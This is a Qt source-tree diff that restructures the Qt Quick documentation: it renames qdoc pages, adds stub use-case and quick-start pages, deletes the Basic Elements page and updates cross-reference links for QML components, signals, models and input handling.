a/src/qml/doc/src/qmltest.qdoc +++ b/src/quick/doc/src/appdevguide/qtquicktest.qdoc @@ -26,7 +26,7 @@ ****************************************************************************/ /*! - \page qmltest.html + \page qtquick-qtquicktest.html \inqmlmodule QtQuick 2 \title QtQuickTest Reference Documentation \keyword QtQuickTest Reference Documentation @@ -34,7 +34,7 @@ \section1 Introduction - QtQuickTest is a unit test framework for Qt Quick (QML) applications. + QtQuickTest is a unit test framework for QML applications. Test cases are written as JavaScript functions within a TestCase element: diff --git a/src/quick/doc/src/appdevguide/quickstart/basics.qdoc b/src/quick/doc/src/appdevguide/quickstart/basics.qdoc new file mode 100644 index 0000000000..48942a5c88 --- /dev/null +++ b/src/quick/doc/src/appdevguide/quickstart/basics.qdoc @@ -0,0 +1,38 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtquick-quickstart-basics.html +\title Quick Start Guide - QML Basics +\brief Basic QML application development examples + +\section1 Creating A QML Document + +\section1 Importing And Using The QtQuick Module + +\section1 Loading And Displaying The QML Document + +*/ diff --git a/src/quick/doc/src/appdevguide/quickstart/essentials.qdoc b/src/quick/doc/src/appdevguide/quickstart/essentials.qdoc new file mode 100644 index 0000000000..cace64f06e --- /dev/null +++ b/src/quick/doc/src/appdevguide/quickstart/essentials.qdoc @@ -0,0 +1,38 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtquick-quickstart-essentials.html +\title Quick Start Guide - QML Essentials +\brief Essential QML application development examples + +\section1 Bindings And Signals + +\section1 Handling User Input + +\section1 Defining Custom QML Types For Re-use + +*/ diff --git a/src/quick/doc/src/models.qdoc b/src/quick/doc/src/appdevguide/usecases/animations.qdoc index 6d4e69b4c9..1ae5ac7816 100644 --- a/src/quick/doc/src/models.qdoc +++ b/src/quick/doc/src/appdevguide/usecases/animations.qdoc @@ -24,12 +24,8 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ - /*! -\group qtquick-models -\title Qt Quick Models -\brief Structuring data for display. - -\section1 Related Types -\generatelist{related} +\page qtquick-usecase-animations.html +\title Usecase - Animations In QML +\brief Example of how to include animations in QML applications */ diff --git a/src/quick/doc/src/images.qdoc b/src/quick/doc/src/appdevguide/usecases/integratingcpp.qdoc index 842b56bcd3..27bb40c131 100644 --- a/src/quick/doc/src/images.qdoc +++ b/src/quick/doc/src/appdevguide/usecases/integratingcpp.qdoc @@ -24,16 +24,8 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ - /*! -\group qtquick-images -\ingroup qml-features -\title Qt Quick Images -\brief Displaying images in a QML scene - -\section1 Related Types - -\generatelist{related} - - +\page qtquick-usecase-integratingcpp.html +\title Use Case - Integrating C++ In QML Applications +\brief Example of how to integrate C++ within a QML application */ diff --git a/src/quick/doc/src/interaction.qdoc b/src/quick/doc/src/appdevguide/usecases/integratingjs.qdoc index aafad3ab5c..3a261a16d5 100644 --- a/src/quick/doc/src/interaction.qdoc +++ b/src/quick/doc/src/appdevguide/usecases/integratingjs.qdoc @@ -24,12 +24,8 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ - /*! -\group qtquick-interaction -\title Qt Quick Keys and Focus -\brief Handling mouse input and interaction - -\section1 Related Types -\generatelist{related} +\page qtquick-usecase-integratingjs.html +\title Use Case - Integrating JavaScript In QML +\brief Example of how to integrate JavaScript code in QML applications */ diff --git a/src/quick/doc/src/particles/particletypes.qdoc b/src/quick/doc/src/appdevguide/usecases/layouts.qdoc index 740fc0079d..a32b8b527f 100644 --- a/src/quick/doc/src/particles/particletypes.qdoc +++ b/src/quick/doc/src/appdevguide/usecases/layouts.qdoc @@ -24,12 +24,8 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ - /*! -\group qtquick-particles -\title Qt Quick Particle Types -\brief Types for creating particle effects - -\section1 Related Types -\generatelist{related} +\page qtquick-usecase-layouts.html +\title Use Case - Layouts In QML +\brief Example of how to create layouts for visual elements in a QML application */ diff --git a/src/quick/doc/src/utility.qdoc b/src/quick/doc/src/appdevguide/usecases/modules.qdoc index c43c303994..f453de1924 100644 --- a/src/quick/doc/src/utility.qdoc +++ b/src/quick/doc/src/appdevguide/usecases/modules.qdoc @@ -24,12 +24,8 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ - /*! -\group qtquick-utility -\title Qt Quick Object Utilities -\brief Types for managing objects - -\section1 Related Types -\generatelist{related} +\page qtquick-usecase-modules.html +\title Use Case - Extending QML With Modules +\brief Example of how to create a loadable QML extension module */ diff --git a/src/quick/doc/src/appdevguide/usecases/multimedia.qdoc b/src/quick/doc/src/appdevguide/usecases/multimedia.qdoc new file mode 100644 index 0000000000..8af6987f4c --- /dev/null +++ b/src/quick/doc/src/appdevguide/usecases/multimedia.qdoc @@ -0,0 +1,31 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtquick-usecase-multimedia.html +\title Use Case - Playing Sound And Video In QML +\brief Example of how to play multimedia in a QML application +*/ diff --git a/src/quick/doc/src/containers.qdoc b/src/quick/doc/src/appdevguide/usecases/styling.qdoc index 73e39790f5..4564e1cffd 100644 --- a/src/quick/doc/src/containers.qdoc +++ b/src/quick/doc/src/appdevguide/usecases/styling.qdoc @@ -24,11 +24,8 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ - /*! -\group qtquick-containers -\title Qt Quick Containers -\brief Specialized views for handling input and animations - -\generatelist{related} +\page qtquick-usecase-styling.html +\title Use Case - Style And Theme Support +\brief Example of how to style user-interface elements in QML */ diff --git a/src/quick/doc/src/animation-define.qdoc b/src/quick/doc/src/appdevguide/usecases/text.qdoc index f3f3cec1e9..40b32d577d 100644 --- a/src/quick/doc/src/animation-define.qdoc +++ b/src/quick/doc/src/appdevguide/usecases/text.qdoc @@ -24,6 +24,8 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ - /*! -\group qtquick-animation-define +\page qtquick-usecase-text.html +\title Use Case - Displaying Text In QML +\brief Example of how to display text in QML +*/ diff --git a/src/quick/doc/src/appdevguide/usecases/userinput.qdoc b/src/quick/doc/src/appdevguide/usecases/userinput.qdoc new file mode 100644 index 0000000000..212eff257d --- /dev/null +++ b/src/quick/doc/src/appdevguide/usecases/userinput.qdoc @@ -0,0 +1,31 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtquick-usecase-userinput.html +\title Use Case - Responding To User-Input In QML +\brief Example of how to accept user-input and respond to it in a QML application +*/ diff --git a/src/quick/doc/src/appdevguide/usecases/visual.qdoc b/src/quick/doc/src/appdevguide/usecases/visual.qdoc new file mode 100644 index 0000000000..66244381e6 --- /dev/null +++ b/src/quick/doc/src/appdevguide/usecases/visual.qdoc @@ -0,0 +1,31 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtquick-usecase-visual.html +\title Use Case - Visual Elements In QML +\brief Example of how to display visual item types in a QML application +*/ diff --git a/src/quick/doc/src/basicelements.qdoc b/src/quick/doc/src/basicelements.qdoc deleted file mode 100644 index b1112e643e..0000000000 --- a/src/quick/doc/src/basicelements.qdoc +++ /dev/null @@ -1,131 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-basicelements.html -\ingroup qml-features -\title Basic Elements -\brief introduction to the Qt Quick Elements - -Qt Quick includes \e elements for placing components. These can be combined -to form other components. - -\code -import QtQuick 2.0 -\endcode -\section1 Basic Elements -This is a list of some of the elements readily available for users. -\list -\li \l {Item} -\li \l {Rectangle} -\li \l {Image} -\li \l {Text} -\li \l {TextInput} -\li \l {TextEdit} -\li \l {FocusScope} -\li \l {Component} -\li \l {MouseArea} -\endlist - -For a complete list of QML elements, please visit the \l {QML Elements} page. - -\section1 Item Element - -Many QML elements inherit \l Item properties. \c Item possesses important properties -such as \c focus, \c children, and dimension properties such as \c width and -\c height. Although \c Item has physical properties, it is not a visual element. -Using \c Item as the top-level QML element (as the screen) will not produce a -visual result, use the \l {Rectangle} element instead. Use the \c Item to create -opacity effects, such as when creating an invisible container to hold other -components. - -\section1 Rectangle Element - -The \l Rectangle element is the basic visual element, for displaying different -types of items onto the screen. The \c Rectangle is customizable and utilizes -other elements such as \l Gradient and \l BorderImage for displaying advanced -customized graphics. - -\section1 Image Element - -To insert an image into a QML scene, merely declare an \l Image element. The -\c Image element can load images in formats supported by Qt. - -\section1 Text Elements - -The \l Text and \l TextEdit elements display formatted text onto the screen. -\c TextEdit features multi-line editing while the \l TextInput element is for -single line text input. - -\keyword qml-top-level-component -\section1 Using Elements as the Top-Level Component - -For creating components, there are different -elements that could be used as the top-level component. To display a simple scene, -a \l Rectangle as the top-level component may suffice. \l Rectangle, -\l FocusScope, \l Component, \l {QML:QtObject} {QtObject}, \l Item, are some of -the commonly used elements as the top-level component. - -When importing components, the top-level component is important because the -top-level component's properties are the only properties exposed to the parent. - -For example, a \c Button component may be implemented using different elements as -its top-level component. When this component is loaded into another QML scene, -the component will retain the top-level component's properties. If a non-visual -component is the top-level component, the visual properties should be aliased to -the top-level to display the component properly. - -For more information on how to build upon QML elements, see the -\l{QML Components} document. - -\section1 Additional Elements - -The \l{Local Storage}{SQL Local Storage API} provides a JavaScript interface to an SQL relational -database. The import statement needs a namespace - -\code -import QtQuick.LocalStorage 2.0 as SQL -\endcode - -The \l{QML Module QtQuick.Particles 2}{QtQuick.Particles} module provides a -particle system for additional graphics. The -\l{qml-particlesystem.html}{Using the Qt Quick Particle System} article outlines -the system features. -\code -import QtQuick.Particles 2.0 -\endcode - -\section1 Extending and Importing Elements - -Components may use the basic elements to create new components or to add -functionality to existing components. In addition, external component sets -may exist to perform logic or provide plugins. - -To extend existing elements or to create a custom component, the articles -\l{Creating QML Types} and \l{The QML Engine} contain information about -registering new types into the QML engine. -*/ diff --git a/src/quick/doc/src/writingcomponents.qdoc b/src/quick/doc/src/concepts/components.qdoc index c664b7799f..5050e535bb 100644 --- a/src/quick/doc/src/writingcomponents.qdoc +++ b/src/quick/doc/src/concepts/components.qdoc @@ -24,19 +24,17 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ -/*! -\page qtquick-writecomponents.html -\title Writing QML Components -\brief creating and initializing QML components -\code -NOTE: This article is a work in progress. -\endcode +/*! +\page qtquick-concepts-components.html +\title Concepts - Reusable Components +\brief Description of the concept and implementation of reusable UI components in Qt Quick One of the key concepts in QML is the ability to define your own QML components that suit -the purposes of your application. The standard \l {QML Elements} provide the essential components -for creating a QML application; beyond these, you can write your own custom components that can -be created and reused, without the use of C++. +the purposes of your application. The standard \l{qtquick-qmltypereference.html} +{Qt Quick QML types} provide the essential components for creating a QML application; +beyond these, you can write your own custom components that can be created and reused, +without the use of C++. Components are the building blocks of a QML project. When writing a QML application, whether large or small, it is best to separate QML code into smaller components that perform specific @@ -73,7 +71,7 @@ customize the \c width, \c height, \c radius and \c color properties of \c Butto If \c Button.qml was not in the same directory, \c application.qml would need to load it as a -\l {Modules}{module} from a specific filesystem path or \l{QQmlExtensionPlugin}{plugin}. +\l{qtqml-modules-topic.html}{QML module} from a specific filesystem path or \l{QQmlExtensionPlugin}{plugin}. Also, note the letter case of the component file name is significant on some (notably UNIX) filesystems. It is recommended the file name case matches the case of the QML component name exactly - for example, \c Box.qml and not \c BoX.qml - regardless of the platform to which the @@ -127,12 +125,16 @@ It is optional for a property to have a default value. The default value is a co behaviorally identical to doing it in two steps, like this: \qml -// Use default value -property int myProperty: 10 +import QtQuick 2.0 -// Longer, but behaviorally identical -property int myProperty -myProperty: 10 +Item { + // Use default value + property int myProperty: 10 + + // Longer, but behaviorally identical + property int myProperty + myProperty: 10 +} \endqml @@ -159,13 +161,18 @@ with their default values and the corresponding C++ type: \endtable QML object types can also be used as property types. This includes -\l {Defining new QML elements}{custom QML types} implemented in C++. Such properties are -defined like this: +\l{qtqml-cppintegration-registercpptypes.html}{custom QML types defined in C++}, +as well as \l{qtqml-documents-definetypes.html}{custom QML types defined in QML}. +Such properties are defined like this: \qml -property Item itemProperty -property QtObject objectProperty -property MyCustomType customProperty +import QtQuick 2.0 + +Item { + property Item itemProperty + property QtObject objectProperty + property MyCustomType customProperty +} \endqml Such object-type properties default to an \c undefined value. @@ -178,7 +185,11 @@ see the \l {variant}{variant type documentation} for details. list: \qml -property list<Item> listOfItems +import QtQuick 2.0 + +Item { + property list<Item> listOfItems +} \endqml Note that list properties cannot be modified like ordinary JavaScript @@ -188,7 +199,8 @@ arrays. See the \l {list}{list type documentation} for details. \section2 Property change signals Adding a \c property to an item automatically adds a \e {value changed} -signal handler to the item. To connect to this signal, use a \l {Signal Handlers}{signal handler} +signal handler to the item. To connect to this signal, use a +\l{qtqml-syntax-objectattributes.html#signal-handlers}{signal handler} named with the \c on<Property>Changed syntax, using upper case for the first letter of the property name. @@ -219,7 +231,7 @@ If the \l{Item::children}{children} property was not the default property for \qml Item { children: [ - Rectangle {} + Rectangle {}, Rectangle {} ] } @@ -371,7 +383,8 @@ Here is an example of a component with a \c say() method that accepts a single \ A method can be connected to a signal so that it is automatically invoked whenever the signal is emitted. See \l {Connecting signals to methods and other signals} below. -Also see \l {Integrating JavaScript} for more information on using JavaScript with QML. +Also see \l{qtqml-javascript-topic.html}{Integrating QML and JavaScript} for more information +on using JavaScript with QML. \section1 Adding Signals @@ -406,7 +419,8 @@ parameter types must be declared, as for the \c string and \c variant arguments performAction signal above; the allowed parameter types are the same as those listed in the \l {Adding Properties} section on this page. -Adding a signal to an item automatically adds a \l {Signal Handlers}{signal handler} as well. +Adding a signal to an item automatically adds a +\l{qtqml-syntax-objectattributes.html#signal-handlers}{signal handler} as well. The signal hander is named \c on<SignalName>, with the first letter of the signal being upper cased. The above example item would now have the following signal handlers: @@ -442,7 +456,8 @@ Signal objects have a \c connect() method that can be used to a connect a signal another signal. When a signal is connected to a method, the method is automatically invoked whenever the signal is emitted. (In Qt terminology, the method is a \e slot that is connected to the \e signal; all methods defined in QML are created as Qt slots.) This enables a signal -to be received by a method instead of a \l {Signal Handlers}{signal handler}. +to be received by a method instead of a \l{qtqml-syntax-objectattributes.html#signal-handlers} +{signal handler}. For example, the \c application.qml above could be rewritten as: @@ -452,16 +467,17 @@ The \c myMethod() method will be called whenever the \c buttonClicked signal is In many cases it is sufficient to receive signals through signal handlers rather than using the \c connect() function; the above example does not provide any improvements over using a -simple \c onButtonClicked handler. However, if you are \l{Dynamic Object Management in QML}{creating objects dynamically}, -or \l {Integrating JavaScript}{integrating JavaScript code}, then you will find the -\c connect() method useful. For example, the component below creates three \c Button -objects dynamically, and connects the \c buttonClicked signal of each object to the -\c myMethod() function: +simple \c onButtonClicked handler. However, if you are \l{qtqml-javascript-dynamicobjects.html} +{creating objects dynamically}, or \l{qtqml-javascript-topic.html}{integrating JavaScript code}, +then you will find the \c connect() method useful. For example, the component below creates +three \c Button objects dynamically, and connects the \c buttonClicked signal of each object to +the \c myMethod() function: \snippet qml/qml-extending-types/signals/connectdynamic.qml 0 In the same way, you could connect a signal to methods defined in a dynamically -created object, or \l {Receiving QML Signals in JavaScript}{connect a signal to a JavaScript method}. +created object, or \l{qtqml-cppintegration-reverse.html#signals-and-slots} +{connect a signal to a JavaScript method}. There is also a corresponding \c disconnect() method for removing connected signals. The following code removes the connection created in \c application.qml above: @@ -469,7 +485,7 @@ code removes the connection created in \c application.qml above: \qml // application.qml Item { - ... + // ... function removeSignal() { button.clicked.disconnect(item.myMethod) diff --git a/src/quick/doc/src/localstorage/localstorage.qdoc b/src/quick/doc/src/concepts/data-localstorage.qdoc index e9d2a46b53..2de521a2a6 100644 --- a/src/quick/doc/src/localstorage/localstorage.qdoc +++ b/src/quick/doc/src/concepts/data-localstorage.qdoc @@ -24,14 +24,16 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ + /*! -\page qml-localstorage.html +\page qtquick-concepts-data-localstorage.html \title Local Storage -\brief SQL storage for QML +\brief SQL storage for Qt Quick -The local storage API provides a JavaScript interface to an SQL relational -database. The QtQuick.LocalStorage module contains the API and it may be given -a namespace. +Qt Quick includes a simple API to allow saving data to an SQL database. The +QtQuick.LocalStorage module provides a JavaScript interface to SQL which may be +accessed from QML documents. When imported, the module may be namespaced for +developer convenience. Import QtQuick.LocalStorage module from QML: \code diff --git a/src/quick/doc/src/modelview.qdoc b/src/quick/doc/src/concepts/data-modelview.qdoc index 137703b822..49522b93bf 100644 --- a/src/quick/doc/src/modelview.qdoc +++ b/src/quick/doc/src/concepts/data-modelview.qdoc @@ -24,12 +24,13 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ + /*! -\page qtquick-modelview.html -\title Models and Views -\brief how to display and form data in QML +\page qtquick-concepts-data-modelview.html +\title Models and Views in Qt Quick +\brief how to display and form data in Qt Quick -Simply put, applications need to form data and display the data. QML has the +Simply put, applications need to form data and display the data. Qt Quick has the notion of \e models, \e views, and \e delegates to display data. They modularize the visualization of data in order to give the developer or designer control over the different aspects of the data. A developer can swap a list view with a @@ -40,7 +41,7 @@ handle the data. \image modelview-overview.png \list \li \b Model - contains the data and its structure. There are several QML -elements for creating models. +types for creating models. \li \b View - a container that displays the data. The view might display the data in a list or a grid. \li \b Delegate - dictates how the data should appear in the view. @@ -113,12 +114,13 @@ To visualize data, bind the view's \c model property to a model and the \snippet qml/listview-sections.qml model \snippet qml/listview-sections.qml delegate - The ListView element has the \c section \l{Property Binding in QML#Attached - Properties}{attached property} that can combine adjacent and related - elements into a section. The section's \c property property is for selecting - which list element property to use as sections. The \c criteria can dictate - how the section names are displayed and the \c delegate is similar to the - views' \l {qml-view-delegate}{delegate} property. + The ListView element has the \c section + \l{qtqml-syntax-objectattributes.html#Attached-properties-and-attached-signal-handlers} + {attached property} that can combine adjacent and related elements into a + section. The section's \c property property is for selecting which list + element property to use as sections. The \c criteria can dictate how the + section names are displayed and the \c delegate is similar to the views' + \l {qml-view-delegate}{delegate} property. \snippet qml/listview-sections.qml section \image listview-section.png @@ -185,9 +187,11 @@ To visualize data, bind the view's \c model property to a model and the QML provides several types of data models among the built-in set of QML elements. In addition, models can be created with Qt C++ and then made - available to the \l{The QML Engine}{QML engine} for use by + available to the \l{qtqml-cppclasses-engine.html}{QML engine} for use by QML components. For information about creating these models, visit the - \l{Exposing C++ Models} and \l{Creating QML Types} articles. + \l{qtqml-cppintegration-data.html#data-provided-in-a-custom-c++-model} + {exposing C++ models} and \l{qtqml-typesystem-topic.html#qml-object-types} + {creating QML types} articles. The use of positioner items to arrange items from a model is covered in \l{Generating Items with Repeaters}. @@ -324,7 +328,9 @@ To visualize data, bind the view's \c model property to a model and the is useful for exposing existing C++ data models or otherwise complex datasets to QML. - For information, visit the \l{Exposing C++ Models} article. + For information, visit the + \l{qtqml-cppintegration-data.html#data-provided-in-a-custom-c++-model} + {exposing C++ models} article. \section1 Repeaters @@ -343,7 +349,7 @@ from a model, specified using the \l{Repeater::model}{model} property, with the template item, defined as a child item within the Repeater. The total number of items is determined by the amount of data in the model. -The following example shows a repeater used with a \l{#Grid}{Grid} item to +The following example shows a repeater used with a Grid item to arrange a set of Rectangle items. The Repeater item creates a series of 24 rectangles for the Grid item to position in a 5 by 5 arrangement. diff --git a/src/quick/doc/src/particles/particles.qdoc b/src/quick/doc/src/concepts/effects-particles.qdoc index 2f5432b39a..8d77c26d37 100644 --- a/src/quick/doc/src/particles/particles.qdoc +++ b/src/quick/doc/src/concepts/effects-particles.qdoc @@ -26,8 +26,8 @@ ****************************************************************************/ /*! - \qmlmodule QtQuick.Particles 2 - \title QML Module QtQuick.Particles 2 + \qmlmodule QtQuick.Particles 2.0 + \title QML Module QtQuick.Particles 2.0 \brief Contains types for particle effects @@ -38,13 +38,13 @@ For a simple overview of how the system can be used, see \l{Using the Qt Quick Particle System}. - For details on the performance characteristics see \l{qml-particlesystem-performance.html}{Qt Quick Particle System Performance}. + For details on the performance characteristics see \l{qtquick-concepts-particles-performance.html}{Qt Quick Particle System Performance}. */ /*! - \page qml-particlesystem.html -\inqmlmodule QtQuick.Particles 2 + \page qtquick-concepts-effects-particles.html + \inqmlmodule QtQuick.Particles 2.0 \title Using the Qt Quick Particle System @@ -130,8 +130,8 @@ */ /*! - \page qml-particlesystem-performance.html -\inqmlmodule QtQuick 2 + \page qtquick-concepts-particles-performance.html + \inqmlmodule QtQuick 2.0 \title Particle System Performance Guide The performance of the particle system scales with the number of particles it is maintaining. After prototyping the desired diff --git a/src/quick/doc/src/shaders.qdoc b/src/quick/doc/src/concepts/effects-shaders.qdoc index 51b3abb19b..8355b2758b 100644 --- a/src/quick/doc/src/shaders.qdoc +++ b/src/quick/doc/src/concepts/effects-shaders.qdoc @@ -24,8 +24,10 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ + /*! \group qtquick-shaders +\page qtquick-concepts-effects-shaders.html \title Qt Quick Shader Effects \brief For applying OpenGL vertex and fragment shaders to rectangles diff --git a/src/quick/doc/src/sprites.qdoc b/src/quick/doc/src/concepts/effects-sprites.qdoc index 377abe86c0..50b380ebee 100644 --- a/src/quick/doc/src/sprites.qdoc +++ b/src/quick/doc/src/concepts/effects-sprites.qdoc @@ -28,6 +28,7 @@ /*! \group qtquick-images-sprites \ingroup qml-features +\page qtquick-concepts-effects-sprites.html \title Sprite Animations \brief Sprite-based animations with flexible transitioning diff --git a/src/quick/doc/src/transformations.qdoc b/src/quick/doc/src/concepts/effects-transformations.qdoc index 5bd4d832c0..b2ff5955fb 100644 --- a/src/quick/doc/src/transformations.qdoc +++ b/src/quick/doc/src/concepts/effects-transformations.qdoc @@ -27,6 +27,7 @@ /*! \group qtquick-transformations +\page qtquick-concepts-effects-transformations.html \title Qt Quick Transformation Types \brief Types for applying transformations to visual types diff --git a/src/quick/doc/src/focus.qdoc b/src/quick/doc/src/concepts/input-focus.qdoc index 69617c9773..d18407972c 100644 --- a/src/quick/doc/src/focus.qdoc +++ b/src/quick/doc/src/concepts/input-focus.qdoc @@ -26,14 +26,14 @@ ****************************************************************************/ /*! -\page qtquick-keyboardfocus.html +\page qtquick-concepts-input-focus.html \ingroup qml-features -\title Keyboard Focus in QML +\title Keyboard Focus in Qt Quick \brief handling keyboard focus When a key is pressed or released, a key event is generated and delivered to the -focused QML \l Item. To facilitate the construction of reusable components -and to address some of the cases unique to fluid user interfaces, the QML items add aged +focused Qt Quick \l Item. To facilitate the construction of reusable components +and to address some of the cases unique to fluid user interfaces, the Qt Quick items add aged \e scope based extension to Qt's traditional keyboard focus model. \tableofcontents @@ -78,9 +78,9 @@ element whose text is determined by whether or not it has active focus. An \l Item requests focus by setting the \c focus property to \c true. For very simple cases simply setting the \c focus property is sometimes -sufficient. If we run the following example with the \l {QML Viewer}, we see that -the \c {keyHandler} element has active focus and pressing the \c A, \c B, -or \c C keys modifies the text appropriately. +sufficient. If we run the following example with \l{qtquick-qmlscene.html} +{qmlscene}, we see that the \c {keyHandler} element has active focus and +pressing the \c A, \c B, or \c C keys modifies the text appropriately. \snippet qml/focus/basicwidget.qml focus true diff --git a/src/quick/doc/src/mouseevents.qdoc b/src/quick/doc/src/concepts/input-mouse.qdoc index aa4f3501e0..4890f2e20d 100644 --- a/src/quick/doc/src/mouseevents.qdoc +++ b/src/quick/doc/src/concepts/input-mouse.qdoc @@ -26,10 +26,10 @@ ****************************************************************************/ /*! -\page qtquick-mouseevents.html +\page qtquick-concepts-input-mouseevents.html \ingroup QML Features \title Mouse Events -\brief handling mouse events in QML +\brief handling mouse events in Qt Quick \tableofcontents @@ -42,10 +42,10 @@ \section1 Mouse Event Handling -QML uses \l{QML Signal and Handler Event System}{signals and handlers} to -deliver mouse interactions. Specifically, the \l MouseArea and \l MouseEvent -elements provide QML components with signal handlers to accept mouse events -within a defined area. +QML uses \l{qtqml-syntax-signals.html}{signals and handlers} to +deliver mouse interactions. Specifically, Qt Quick provides the \l MouseArea +and \l MouseEvent types which allow developers to define signal handlers which +accept mouse events within a defined area. \section1 Defining a Mouse Area @@ -60,7 +60,7 @@ definable. \section1 Receiving Events The MouseArea element provides -\l{QML Signal and Handler Event System}{signals and handlers} to detect different +\l{qtqml-syntax-signals.html}{signals and handlers} to detect different mouse events. The \l MouseArea element documentation describes these gestures in greater detail: @@ -114,5 +114,7 @@ Many of the signals are sent multiple times to reflect various mouse events such as double clicking. To facilitate the classification of mouse clicks, the MouseEvent object has an \c accepted property to disable the event propagation. -To learn more about QML's event system, please read the \l {QML Signal and Handler Event System} document. +To learn more about QML's event system, please read the +\l{qtqml-syntax-signals.html}{signals and handlers, and event system} document. + */ diff --git a/src/quick/doc/src/texthandling.qdoc b/src/quick/doc/src/concepts/input-text.qdoc index 2628776ca3..6387221670 100644 --- a/src/quick/doc/src/texthandling.qdoc +++ b/src/quick/doc/src/concepts/input-text.qdoc @@ -27,8 +27,9 @@ /*! \group qtquick-text -\title Qt Quick Text Handling and Validators -\brief Text display, input, and validation +\page qtquick-concepts-input-text.html +\title Qt Quick Text Input Handling and Validators +\brief Text input and validation \section1 Text Visual Types @@ -66,6 +67,7 @@ Note that QML parses JavaScript regular expressions, while Qt's \title Qt Quick Text Validators \brief Types that validate text input -The \l{Qt Quick Text Handling and Validators} page has information about +The \l{qtquick-concepts-input-text.html} +{Qt Quick Text Input Handling and Validators} page has information about validating user text input. */ diff --git a/src/quick/doc/src/concepts/interceptors.qdoc b/src/quick/doc/src/concepts/interceptors.qdoc new file mode 100644 index 0000000000..0b53e2bc8b --- /dev/null +++ b/src/quick/doc/src/concepts/interceptors.qdoc @@ -0,0 +1,41 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtquick-concepts-interceptors.html +\title Concepts - Event Interceptors +\brief Description of the concept of property interception in Qt Quick + +\section1 Animating Property Assignments + +\section1 Dynamic Bindings + +\section1 Dynamic Signal Connections + +\section1 Timer-Based Events + +*/ diff --git a/src/quick/doc/src/anchor-layout.qdoc b/src/quick/doc/src/concepts/positioning-anchors.qdoc index fb2d8b7d83..62b99948ce 100644 --- a/src/quick/doc/src/anchor-layout.qdoc +++ b/src/quick/doc/src/concepts/positioning-anchors.qdoc @@ -26,14 +26,13 @@ ****************************************************************************/ /*! -\page 